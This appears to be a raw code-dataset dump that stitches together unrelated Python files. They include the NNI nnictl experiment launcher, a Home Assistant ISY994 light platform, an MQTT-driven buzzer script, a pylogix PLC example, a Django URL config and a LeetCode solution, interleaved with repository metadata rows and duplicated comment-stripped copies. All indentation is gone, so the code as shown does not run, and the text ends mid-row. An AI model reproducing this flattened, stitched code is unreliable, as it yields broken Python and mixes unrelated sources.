stdout_full_path = os.path.join(NNI_HOME_DIR, experiment_id, 'log', 'nnictl_stdout.log')
stderr_full_path = os.path.join(NNI_HOME_DIR, experiment_id, 'log', 'nnictl_stderr.log')
return stdout_full_path, stderr_full_path
def print_log_content(config_file_name):
stdout_full_path, stderr_full_path = get_log_path(config_file_name)
print_normal(' Stdout:')
print(check_output_command(stdout_full_path))
print('\n\n')
print_normal(' Stderr:')
print(check_output_command(stderr_full_path))
def start_rest_server(port, platform, mode, experiment_id, foreground=False, log_dir=None, log_level=None, url_prefix=None):
if detect_port(port):
print_error('Port %s is used by another process, please reset the port!\n' \
'You could use \'nnictl create --help\' to get help information' % port)
exit(1)
if (platform not in ['local', 'aml']) and detect_port(int(port) + 1):
print_error('%s mode need an additional adjacent port %d, and the port %d is used by another process!\n' \
'You could set another port to start experiment!\n' \
'You could use \'nnictl create --help\' to get help information' % (platform, (int(port) + 1), (int(port) + 1)))
exit(1)
print_normal('Starting restful server...')
import nni_node
entry_dir = nni_node.__path__[0]
if (not entry_dir) or (not os.path.exists(entry_dir)):
print_error('Fail to find nni under python library')
exit(1)
entry_file = os.path.join(entry_dir, 'main.js')
if sys.platform == 'win32':
node_command = os.path.join(entry_dir, 'node.exe')
else:
node_command = os.path.join(entry_dir, 'node')
cmds = [node_command, '--max-old-space-size=4096', entry_file, '--port', str(port), '--mode', platform, \
'--experiment_id', experiment_id]
cmds += ['--action', mode]
if log_dir is not None:
cmds += ['--experiments-directory', log_dir]
if log_level is not None:
cmds += ['--log-level', log_level]
if foreground:
cmds += ['--foreground', 'true']
if url_prefix:
_validate_prefix_path(url_prefix)
set_prefix_url(url_prefix)
cmds += ['--url-prefix', url_prefix.strip('/')]
stdout_full_path, stderr_full_path = get_log_path(experiment_id)
with open(stdout_full_path, 'a+') as stdout_file, open(stderr_full_path, 'a+') as stderr_file:
start_time = time.time()
time_now = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(start_time))
log_header = LOG_HEADER % str(time_now)
stdout_file.write(log_header)
stderr_file.write(log_header)
if sys.platform == 'win32':
from subprocess import CREATE_NEW_PROCESS_GROUP
if foreground:
process = Popen(cmds, cwd=entry_dir, stdout=PIPE, stderr=STDOUT, creationflags=CREATE_NEW_PROCESS_GROUP)
else:
process = Popen(cmds, cwd=entry_dir, stdout=stdout_file, stderr=stderr_file, creationflags=CREATE_NEW_PROCESS_GROUP)
else:
if foreground:
process = Popen(cmds, cwd=entry_dir, stdout=PIPE, stderr=PIPE)
else:
process = Popen(cmds, cwd=entry_dir, stdout=stdout_file, stderr=stderr_file)
return process, int(start_time * 1000)
def set_trial_config(experiment_config, port, config_file_name):
request_data = dict()
request_data['trial_config'] = experiment_config['trial']
response = rest_put(cluster_metadata_url(port), json.dumps(request_data), REST_TIME_OUT)
if check_response(response):
return True
else:
print('Error message is {}'.format(response.text))
_, stderr_full_path = get_log_path(config_file_name)
if response:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
return False
def set_adl_config(experiment_config, port, config_file_name):
adl_config_data = dict()
adl_config_data['adl_config'] = {}
response = rest_put(cluster_metadata_url(port), json.dumps(adl_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
return set_trial_config(experiment_config, port, config_file_name), None
def validate_response(response, config_file_name):
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Error:' + err_message)
exit(1)
def set_V1_common_config(experiment_config, port, config_file_name):
version_check = True
if experiment_config.get('debug') is not None:
version_check = not experiment_config.get('debug')
if experiment_config.get('versionCheck') is not None:
version_check = experiment_config.get('versionCheck')
response = rest_put(cluster_metadata_url(port), json.dumps({'version_check': version_check}), REST_TIME_OUT)
validate_response(response, config_file_name)
if experiment_config.get('logCollection'):
data = json.dumps({'log_collection': experiment_config.get('logCollection')})
response = rest_put(cluster_metadata_url(port), data, REST_TIME_OUT)
validate_response(response, config_file_name)
def setNNIManagerIp(experiment_config, port, config_file_name):
if experiment_config.get('nniManagerIp') is None:
return True, None
ip_config_dict = dict()
ip_config_dict['nni_manager_ip'] = {'nniManagerIp': experiment_config['nniManagerIp']}
response = rest_put(cluster_metadata_url(port), json.dumps(ip_config_dict), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
return True, None
def set_kubeflow_config(experiment_config, port, config_file_name):
kubeflow_config_data = dict()
kubeflow_config_data['kubeflow_config'] = experiment_config['kubeflowConfig']
response = rest_put(cluster_metadata_url(port), json.dumps(kubeflow_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
return set_trial_config(experiment_config, port, config_file_name), err_message
def set_frameworkcontroller_config(experiment_config, port, config_file_name):
frameworkcontroller_config_data = dict()
frameworkcontroller_config_data['frameworkcontroller_config'] = experiment_config['frameworkcontrollerConfig']
response = rest_put(cluster_metadata_url(port), json.dumps(frameworkcontroller_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
return set_trial_config(experiment_config, port, config_file_name), err_message
def set_shared_storage(experiment_config, port, config_file_name):
if 'sharedStorage' in experiment_config:
data = json.dumps({'shared_storage_config': experiment_config['sharedStorage']})
response = rest_put(cluster_metadata_url(port), data, REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
return True, None
def set_experiment_v1(experiment_config, mode, port, config_file_name):
request_data = dict()
request_data['authorName'] = experiment_config['authorName']
request_data['experimentName'] = experiment_config['experimentName']
request_data['trialConcurrency'] = experiment_config['trialConcurrency']
request_data['maxExecDuration'] = experiment_config['maxExecDuration']
request_data['maxExperimentDuration'] = str(experiment_config['maxExecDuration']) + 's'
request_data['maxTrialNum'] = experiment_config['maxTrialNum']
request_data['maxTrialDuration'] = experiment_config['maxTrialDuration']
request_data['maxTrialNumber'] = experiment_config['maxTrialNum']
request_data['searchSpace'] = experiment_config.get('searchSpace')
request_data['trainingServicePlatform'] = experiment_config.get('trainingServicePlatform')
request_data['trainingService'] = {'platform': experiment_config.get('trainingServicePlatform')}
if experiment_config.get('description'):
request_data['description'] = experiment_config['description']
if experiment_config.get('multiPhase'):
request_data['multiPhase'] = experiment_config.get('multiPhase')
if experiment_config.get('multiThread'):
request_data['multiThread'] = experiment_config.get('multiThread')
if experiment_config.get('nniManagerIp'):
request_data['nniManagerIp'] = experiment_config.get('nniManagerIp')
if experiment_config.get('advisor'):
request_data['advisor'] = experiment_config['advisor']
if request_data['advisor'].get('gpuNum'):
print_error('gpuNum is deprecated, please use gpuIndices instead.')
if request_data['advisor'].get('gpuIndices') and isinstance(request_data['advisor'].get('gpuIndices'), int):
request_data['advisor']['gpuIndices'] = str(request_data['advisor'].get('gpuIndices'))
else:
request_data['tuner'] = experiment_config['tuner']
if request_data['tuner'].get('gpuNum'):
print_error('gpuNum is deprecated, please use gpuIndices instead.')
if request_data['tuner'].get('gpuIndices') and isinstance(request_data['tuner'].get('gpuIndices'), int):
request_data['tuner']['gpuIndices'] = str(request_data['tuner'].get('gpuIndices'))
if 'assessor' in experiment_config:
request_data['assessor'] = experiment_config['assessor']
if request_data['assessor'].get('gpuNum'):
print_error('gpuNum is deprecated, please remove it from your config file.')
if experiment_config.get('debug') is not None:
request_data['versionCheck'] = not experiment_config.get('debug')
if experiment_config.get('versionCheck') is not None:
request_data['versionCheck'] = experiment_config.get('versionCheck')
if experiment_config.get('logCollection'):
request_data['logCollection'] = experiment_config.get('logCollection')
request_data['clusterMetaData'] = []
if experiment_config['trainingServicePlatform'] == 'kubeflow':
request_data['clusterMetaData'].append(
{'key': 'kubeflow_config', 'value': experiment_config['kubeflowConfig']})
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
elif experiment_config['trainingServicePlatform'] == 'frameworkcontroller':
request_data['clusterMetaData'].append(
{'key': 'frameworkcontroller_config', 'value': experiment_config['frameworkcontrollerConfig']})
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
elif experiment_config['trainingServicePlatform'] == 'adl':
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
response = rest_post(experiment_url(port), json.dumps(request_data), REST_TIME_OUT, show_error=True)
if check_response(response):
return response
else:
_, stderr_full_path = get_log_path(config_file_name)
if response is not None:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Setting experiment error, error message is {}'.format(response.text))
return None
def set_experiment_v2(experiment_config, mode, port, config_file_name):
response = rest_post(experiment_url(port), json.dumps(experiment_config), REST_TIME_OUT, show_error=True)
if check_response(response):
return response
else:
_, stderr_full_path = get_log_path(config_file_name)
if response is not None:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Setting experiment error, error message is {}'.format(response.text))
return None
def set_platform_config(platform, experiment_config, port, config_file_name, rest_process):
print_normal('Setting {0} config...'.format(platform))
config_result, err_msg = None, None
if platform == 'adl':
config_result, err_msg = set_adl_config(experiment_config, port, config_file_name)
elif platform == 'kubeflow':
config_result, err_msg = set_kubeflow_config(experiment_config, port, config_file_name)
elif platform == 'frameworkcontroller':
config_result, err_msg = set_frameworkcontroller_config(experiment_config, port, config_file_name)
else:
raise Exception(ERROR_INFO % 'Unsupported platform!')
exit(1)
if config_result:
config_result, err_msg = set_shared_storage(experiment_config, port, config_file_name)
if config_result:
print_normal('Successfully set {0} config!'.format(platform))
else:
print_error('Failed! Error is: {}'.format(err_msg))
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Rest server stopped!')
exit(1)
def launch_experiment(args, experiment_config, mode, experiment_id, config_version):
package_name, module_name = None, None
if experiment_config.get('tuner') and experiment_config['tuner'].get('builtinTunerName'):
package_name = experiment_config['tuner']['builtinTunerName']
module_name, _ = get_builtin_module_class_name('tuners', package_name)
elif experiment_config.get('advisor') and experiment_config['advisor'].get('builtinAdvisorName'):
package_name = experiment_config['advisor']['builtinAdvisorName']
module_name, _ = get_builtin_module_class_name('advisors', package_name)
if package_name and module_name:
try:
stdout_full_path, stderr_full_path = get_log_path(experiment_id)
with open(stdout_full_path, 'a+') as stdout_file, open(stderr_full_path, 'a+') as stderr_file:
check_call([sys.executable, '-c', 'import %s'%(module_name)], stdout=stdout_file, stderr=stderr_file)
except CalledProcessError:
print_error('some errors happen when import package %s.' %(package_name))
print_log_content(experiment_id)
if package_name in ['SMAC', 'BOHB', 'PPOTuner']:
print_error(f'The dependencies for {package_name} can be installed through pip install nni[{package_name}]')
raise
if config_version == 1:
log_dir = experiment_config['logDir'] if experiment_config.get('logDir') else NNI_HOME_DIR
else:
log_dir = experiment_config['experimentWorkingDirectory'] if experiment_config.get('experimentWorkingDirectory') else NNI_HOME_DIR
log_level = experiment_config['logLevel'] if experiment_config.get('logLevel') else 'info'
foreground = False
if mode != 'view':
foreground = args.foreground
if log_level not in ['trace', 'debug'] and (args.debug or experiment_config.get('debug') is True):
log_level = 'debug'
if config_version == 1:
platform = experiment_config['trainingServicePlatform']
elif isinstance(experiment_config['trainingService'], list):
platform = 'hybrid'
else:
platform = experiment_config['trainingService']['platform']
rest_process, start_time = start_rest_server(args.port, platform, \
mode, experiment_id, foreground, log_dir, log_level, args.url_prefix)
Experiments().add_experiment(experiment_id, args.port, start_time,
platform,
experiment_config.get('experimentName', 'N/A')
, pid=rest_process.pid, logDir=log_dir, prefixUrl=args.url_prefix)
if experiment_config.get('useAnnotation'):
path = os.path.join(tempfile.gettempdir(), get_user(), 'nni', 'annotation')
if not os.path.isdir(path):
os.makedirs(path)
path = tempfile.mkdtemp(dir=path)
if config_version == 1:
nas_mode = experiment_config['trial'].get('nasMode', 'classic_mode')
code_dir = expand_annotations(experiment_config['trial']['codeDir'], path, nas_mode=nas_mode)
experiment_config['trial']['codeDir'] = code_dir
else:
code_dir = expand_annotations(experiment_config['trialCodeDirectory'], path)
experiment_config['trialCodeDirectory'] = code_dir
search_space = generate_search_space(code_dir)
experiment_config['searchSpace'] = search_space
assert search_space, ERROR_INFO % 'Generated search space is empty'
elif config_version == 1:
if experiment_config.get('searchSpacePath'):
search_space = get_json_content(experiment_config.get('searchSpacePath'))
experiment_config['searchSpace'] = search_space
else:
experiment_config['searchSpace'] = ''
running, _ = check_rest_server(args.port)
if running:
print_normal('Successfully started Restful server!')
else:
print_error('Restful server start failed!')
print_log_content(experiment_id)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Rest server stopped!')
exit(1)
if config_version == 1 and mode != 'view':
set_platform_config(experiment_config['trainingServicePlatform'], experiment_config, args.port,\
experiment_id, rest_process)
print_normal('Starting experiment...')
if mode != 'view' and experiment_config.get('debug') is None:
experiment_config['debug'] = args.debug
if config_version == 1:
response = set_experiment_v1(experiment_config, mode, args.port, experiment_id)
else:
response = set_experiment_v2(experiment_config, mode, args.port, experiment_id)
if response:
if experiment_id is None:
experiment_id = json.loads(response.text).get('experiment_id')
else:
print_error('Start experiment failed!')
print_log_content(experiment_id)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Restful server stopped!')
exit(1)
url_prefix_format = '' if args.url_prefix is None else '/{0}'.format(args.url_prefix)
if experiment_config.get('nniManagerIp'):
web_ui_url_list = ['http://{0}:{1}{2}'.format(experiment_config['nniManagerIp'], str(args.port), url_prefix_format)]
else:
web_ui_url_list = get_local_urls(args.port, url_prefix_format)
Experiments().update_experiment(experiment_id, 'webuiUrl', web_ui_url_list)
print_normal(EXPERIMENT_SUCCESS_INFO % (experiment_id, ' '.join(web_ui_url_list)))
if mode != 'view' and args.foreground:
try:
while True:
log_content = rest_process.stdout.readline().strip().decode('utf-8')
print(log_content)
except KeyboardInterrupt:
kill_command(rest_process.pid)
print_normal('Stopping experiment...')
def _validate_v1(config, path):
try:
validate_all_content(config, path)
except Exception as e:
print_error(f'Config V1 validation failed: {repr(e)}')
exit(1)
def _validate_v2(config, path):
base_path = Path(path).parent
try:
conf = ExperimentConfig(_base_path=base_path, **config)
return conf.json()
except Exception as e:
print_error(f'Config V2 validation failed: {repr(e)}')
def _validate_prefix_path(path):
assert not path.startswith('/'), 'URL prefix should not start with "/".'
parts = path.split('/')
valid = all(re.match('^[A-Za-z0-9_-]*$', part) for part in parts)
assert valid, 'URL prefix should only contain letter, number, underscore, and hyphen.'
def create_experiment(args):
experiment_id = ''.join(random.sample(string.ascii_letters + string.digits, 8))
config_path = os.path.abspath(args.config)
if not os.path.exists(config_path):
print_error('Please set correct config path!')
exit(1)
config_yml = get_yml_content(config_path)
if 'trainingServicePlatform' in config_yml:
_validate_v1(config_yml, config_path)
platform = config_yml['trainingServicePlatform']
if platform in k8s_training_services:
schema = 1
config_v1 = config_yml
else:
schema = 2
config_v2 = convert.to_v2(config_yml).json()
else:
config_v2 = _validate_v2(config_yml, config_path)
schema = 2
try:
if schema == 1:
launch_experiment(args, config_v1, 'create', experiment_id, 1)
else:
launch_experiment(args, config_v2, 'create', experiment_id, 2)
except Exception as exception:
restServerPid = Experiments().get_all_experiments().get(experiment_id, {}).get('pid')
if restServerPid:
kill_command(restServerPid)
print_error(exception)
exit(1)
def manage_stopped_experiment(args, mode):
update_experiment()
experiments_config = Experiments()
experiments_dict = experiments_config.get_all_experiments()
experiment_id = None
if not args.id:
print_error('Please set experiment id! \nYou could use \'nnictl {0} id\' to {0} a stopped experiment!\n' \
'You could use \'nnictl experiment list --all\' to show all experiments!\n' \
'If your experiment is not started in current machine, you could specify experiment folder using ' \
'--experiment_dir argument'.format(mode))
exit(1)
else:
if experiments_dict.get(args.id) is None:
print_error('Id %s not exist!' % args.id)
exit(1)
if experiments_dict[args.id]['status'] != 'STOPPED':
print_error('Only stopped experiments can be {0}ed!'.format(mode))
exit(1)
experiment_id = args.id
print_normal('{0} experiment {1}...'.format(mode, experiment_id))
experiment_config = Config(experiment_id, experiments_dict[args.id]['logDir']).get_config()
experiments_config.update_experiment(args.id, 'port', args.port)
args.url_prefix = experiments_dict[args.id]['prefixUrl']
assert 'trainingService' in experiment_config or 'trainingServicePlatform' in experiment_config
try:
if 'trainingServicePlatform' in experiment_config:
experiment_config['logDir'] = experiments_dict[args.id]['logDir']
launch_experiment(args, experiment_config, mode, experiment_id, 1)
else:
experiment_config['experimentWorkingDirectory'] = experiments_dict[args.id]['logDir']
launch_experiment(args, experiment_config, mode, experiment_id, 2)
except Exception as exception:
restServerPid = Experiments().get_all_experiments().get(experiment_id, {}).get('pid')
if restServerPid:
kill_command(restServerPid)
print_error(exception)
exit(1)
def view_experiment(args):
if args.experiment_dir:
manage_external_experiment(args, 'view')
else:
manage_stopped_experiment(args, 'view')
def resume_experiment(args):
if args.experiment_dir:
manage_external_experiment(args, 'resume')
else:
manage_stopped_experiment(args, 'resume')
def manage_external_experiment(args, mode):
if not os.path.exists(args.experiment_dir):
print_error('Folder %s does not exist!' % args.experiment_dir)
exit(1)
if not os.path.isdir(args.experiment_dir):
print_error('Path %s is not folder directory!' % args.experiment_dir)
exit(1)
if args.id:
experiment_id = args.id
log_dir = args.experiment_dir
else:
print_normal('NNI can not detect experiment id in argument, will use last folder name as experiment id in experiment_dir argument.')
experiment_id = Path(args.experiment_dir).name
log_dir = str(Path(args.experiment_dir).parent)
if not experiment_id:
print_error("Please set experiment id argument, or add id as the last folder name in experiment_dir argument.")
exit(1)
args.url_prefix = None
experiment_config = Config(experiment_id, log_dir).get_config()
assert 'trainingService' in experiment_config or 'trainingServicePlatform' in experiment_config
try:
if 'trainingServicePlatform' in experiment_config:
experiment_config['logDir'] = log_dir
launch_experiment(args, experiment_config, mode, experiment_id, 1)
else:
experiment_config['experimentWorkingDirectory'] = log_dir
launch_experiment(args, experiment_config, mode, experiment_id, 2)
except Exception as exception:
print_error(exception)
exit(1)
| true | true |
f7261540ddd2002ae7277a840f8220797a974449 | 1,398 | py | Python | homeassistant/components/light/isy994.py | beschouten/home-assistant | f50c30bbbad4d92e342c8547630c63c0c7882803 | [
"MIT"
] | 1 | 2016-07-14T05:20:54.000Z | 2016-07-14T05:20:54.000Z | homeassistant/components/light/isy994.py | beschouten/home-assistant | f50c30bbbad4d92e342c8547630c63c0c7882803 | [
"MIT"
] | null | null | null | homeassistant/components/light/isy994.py | beschouten/home-assistant | f50c30bbbad4d92e342c8547630c63c0c7882803 | [
"MIT"
] | 1 | 2018-11-22T13:55:23.000Z | 2018-11-22T13:55:23.000Z | """
Support for ISY994 lights.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/isy994/
"""
import logging
from homeassistant.components.isy994 import (
HIDDEN_STRING, ISY, SENSOR_STRING, ISYDeviceABC)
from homeassistant.components.light import ATTR_BRIGHTNESS
from homeassistant.const import STATE_OFF, STATE_ON
def setup_platform(hass, config, add_devices, discovery_info=None):
"""Setup the ISY994 platform."""
logger = logging.getLogger(__name__)
devs = []
if ISY is None or not ISY.connected:
logger.error('A connection has not been made to the ISY controller.')
return False
# Import dimmable nodes
for (path, node) in ISY.nodes:
if node.dimmable and SENSOR_STRING not in node.name:
if HIDDEN_STRING in path:
node.name += HIDDEN_STRING
devs.append(ISYLightDevice(node))
add_devices(devs)
class ISYLightDevice(ISYDeviceABC):
"""Representation of a ISY light."""
_domain = 'light'
_dtype = 'analog'
_attrs = {ATTR_BRIGHTNESS: 'value'}
_onattrs = [ATTR_BRIGHTNESS]
_states = [STATE_ON, STATE_OFF]
def _attr_filter(self, attr):
"""Filter brightness out of entity while off."""
if ATTR_BRIGHTNESS in attr and not self.is_on:
del attr[ATTR_BRIGHTNESS]
return attr
| 29.125 | 77 | 0.690272 | import logging
from homeassistant.components.isy994 import (
HIDDEN_STRING, ISY, SENSOR_STRING, ISYDeviceABC)
from homeassistant.components.light import ATTR_BRIGHTNESS
from homeassistant.const import STATE_OFF, STATE_ON
def setup_platform(hass, config, add_devices, discovery_info=None):
logger = logging.getLogger(__name__)
devs = []
if ISY is None or not ISY.connected:
logger.error('A connection has not been made to the ISY controller.')
return False
for (path, node) in ISY.nodes:
if node.dimmable and SENSOR_STRING not in node.name:
if HIDDEN_STRING in path:
node.name += HIDDEN_STRING
devs.append(ISYLightDevice(node))
add_devices(devs)
class ISYLightDevice(ISYDeviceABC):
_domain = 'light'
_dtype = 'analog'
_attrs = {ATTR_BRIGHTNESS: 'value'}
_onattrs = [ATTR_BRIGHTNESS]
_states = [STATE_ON, STATE_OFF]
def _attr_filter(self, attr):
if ATTR_BRIGHTNESS in attr and not self.is_on:
del attr[ATTR_BRIGHTNESS]
return attr
| true | true |
f72615697ea7f0f72fe65505596ea4f2e3766a64 | 879 | py | Python | BAIT2123 Internet Of Things/Practical/Practical 7/test10.py | loozixuan/SoftwareSystemsDevelopment-Y2S1 | 98c74d191ad5655277b28849d0f63cd0400cee25 | [
"MIT"
] | 3 | 2021-12-22T11:23:45.000Z | 2022-01-06T04:31:08.000Z | BAIT2123 Internet Of Things/Practical/Practical 7/test10.py | loozixuan/SoftwareSystemsDevelopment-Y2S1 | 98c74d191ad5655277b28849d0f63cd0400cee25 | [
"MIT"
] | null | null | null | BAIT2123 Internet Of Things/Practical/Practical 7/test10.py | loozixuan/SoftwareSystemsDevelopment-Y2S1 | 98c74d191ad5655277b28849d0f63cd0400cee25 | [
"MIT"
] | null | null | null | #from time import *
from grovepi import *
from paho.mqtt.client import *
buzzer = 3
pinMode(buzzer, "OUTPUT")
MQTT_BROKER = "192.168.56.1" #The ip address will be vary based on where and how you connect to the Internet
#MQTT_BROKER = "broker.emqx.io" #using public mqtt broker to act as subsriber
MQTT_TOPIC = "test"
def on_connect(client, userdata, flags, rc):
print("Connected with result code " + str(rc))
client.subscribe(MQTT_TOPIC)
def on_message(client, userdata, msg):
print(msg.topic + " " + str(msg.payload))
try:
i = int(msg.payload)
print(i)
if i > 0 and i < 256:
analogWrite(buzzer, i)
except:
analogWrite(buzzer, 0)
client = Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(MQTT_BROKER, 1883, 60)
client.loop_forever() | 29.3 | 109 | 0.653015 |
from grovepi import *
from paho.mqtt.client import *
buzzer = 3
pinMode(buzzer, "OUTPUT")
MQTT_BROKER = "192.168.56.1"
userdata, flags, rc):
print("Connected with result code " + str(rc))
client.subscribe(MQTT_TOPIC)
def on_message(client, userdata, msg):
print(msg.topic + " " + str(msg.payload))
try:
i = int(msg.payload)
print(i)
if i > 0 and i < 256:
analogWrite(buzzer, i)
except:
analogWrite(buzzer, 0)
client = Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(MQTT_BROKER, 1883, 60)
client.loop_forever() | true | true |
f7261569a905f945bb952e0e026fd7beb779ab12 | 491 | py | Python | examples/10_write_simple.py | drbitboy/pylogix | 6204f8e288276f407763d56fa0801355daf115a6 | [
"Apache-2.0"
] | 350 | 2016-07-26T20:50:26.000Z | 2022-03-28T09:22:33.000Z | examples/10_write_simple.py | drbitboy/pylogix | 6204f8e288276f407763d56fa0801355daf115a6 | [
"Apache-2.0"
] | 175 | 2016-11-16T21:39:25.000Z | 2022-03-15T04:40:00.000Z | examples/10_write_simple.py | drbitboy/pylogix | 6204f8e288276f407763d56fa0801355daf115a6 | [
"Apache-2.0"
] | 174 | 2016-07-25T20:51:37.000Z | 2022-03-30T01:29:03.000Z | '''
the following import is only necessary because eip is not in this directory
'''
import sys
sys.path.append('..')
'''
The simplest example of writing a tag from a PLC
NOTE: You only need to call .Close() after you are done exchanging
data with the PLC. If you were going to read/write in a loop or read/write
more tags, you wouldn't want to call .Close() every time.
'''
from pylogix import PLC
comm = PLC()
comm.IPAddress = '192.168.1.9'
comm.Write('CurrentScreen', 10)
comm.Close()
| 24.55 | 75 | 0.723014 | import sys
sys.path.append('..')
from pylogix import PLC
comm = PLC()
comm.IPAddress = '192.168.1.9'
comm.Write('CurrentScreen', 10)
comm.Close()
| true | true |
f7261575ae40a5abf038212e2c31908273819413 | 745 | py | Python | app/urls.py | forestbaba/recipe-app-api | 72471dd6a8ad5993a71ae6648026d0d1def5d03d | [
"MIT"
] | 11 | 2018-06-19T01:32:59.000Z | 2022-01-28T13:41:20.000Z | app/urls.py | forestbaba/recipe-app-api | 72471dd6a8ad5993a71ae6648026d0d1def5d03d | [
"MIT"
] | 8 | 2019-06-11T02:44:04.000Z | 2022-02-10T11:55:20.000Z | app/urls.py | forestbaba/recipe-app-api | 72471dd6a8ad5993a71ae6648026d0d1def5d03d | [
"MIT"
] | 2 | 2020-07-04T14:14:46.000Z | 2021-10-04T11:22:50.000Z | """app URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
urlpatterns = [
path('admin/', admin.site.urls),
]
| 33.863636 | 77 | 0.707383 | from django.contrib import admin
from django.urls import path
urlpatterns = [
path('admin/', admin.site.urls),
]
| true | true |
f72615d8349f0df9ace6524c51601bcc14b49239 | 1,472 | py | Python | toTheMoon/leetcode_115_DistinctSubsequences.py | jercas/offer66-leetcode-newcode | a2e5256f27dbfb23fc34119fc857cd9b00e28c03 | [
"MIT"
] | null | null | null | toTheMoon/leetcode_115_DistinctSubsequences.py | jercas/offer66-leetcode-newcode | a2e5256f27dbfb23fc34119fc857cd9b00e28c03 | [
"MIT"
] | null | null | null | toTheMoon/leetcode_115_DistinctSubsequences.py | jercas/offer66-leetcode-newcode | a2e5256f27dbfb23fc34119fc857cd9b00e28c03 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Apr 15 15:37:49 2019
@author: jercas
"""
"""
leetcode-115: 不同的子序列 HARD
'动态规划' '字符串'
给定一个字符串 S 和一个字符串 T,计算在 S 的子序列中 T 出现的个数。
一个字符串的一个子序列是指,通过删除一些(也可以不删除)字符且不干扰剩余字符相对位置所组成的新字符串。
(例如,"ACE" 是 "ABCDE" 的一个子序列,而 "AEC" 不是)
___ 0
|true
i < j ? - ____ 1 ____ sum(i-1, j)
|___|j==0 |false
|____ S[i] == T[j] ? -
|____ sum(i-1, j) + sum(i-1,j-1)
"""
class Solution:
def numDistinct(self, s: str, t: str) -> int:
dictTimes = {}
dictChars = {}
for i in range(len(t)):
if t[i] in dictChars:
dictChars[t[i]].append(t[:i])
else:
dictChars[t[i]] = [t[:i]]
for i in range(1, len(t)+1):
dictTimes[t[:i]] = 0
dictTimes[''] = 1
for char in s:
if char in dictChars:
for c in dictChars[char][::-1]:
if dictTimes[c] > 0:
dictTimes[c+char] += dictTimes[c]
print(dictChars, '\n',dictTimes)
return dictTimes[t]
if __name__ == "__main__":
S = ["rabbbit", "babgbag"]
T = ["rabbit", "bag"]
A = [3, 5]
solution = Solution()
for i in range(len(S)):
if solution.numDistinct(S[i], T[i]) == A[i]:
print("AC") | 29.44 | 75 | 0.432745 |
class Solution:
def numDistinct(self, s: str, t: str) -> int:
dictTimes = {}
dictChars = {}
for i in range(len(t)):
if t[i] in dictChars:
dictChars[t[i]].append(t[:i])
else:
dictChars[t[i]] = [t[:i]]
for i in range(1, len(t)+1):
dictTimes[t[:i]] = 0
dictTimes[''] = 1
for char in s:
if char in dictChars:
for c in dictChars[char][::-1]:
if dictTimes[c] > 0:
dictTimes[c+char] += dictTimes[c]
print(dictChars, '\n',dictTimes)
return dictTimes[t]
if __name__ == "__main__":
S = ["rabbbit", "babgbag"]
T = ["rabbit", "bag"]
A = [3, 5]
solution = Solution()
for i in range(len(S)):
if solution.numDistinct(S[i], T[i]) == A[i]:
print("AC") | true | true |
f72615e0cd1ac3bf0fced183806639408d1edf2d | 3,061 | py | Python | getdoi/getDOIFromURL/science.py | YutoMizutani/getdoi | cf4e1a2bebe2d6cd9f534221a965d6153974f495 | [
"MIT"
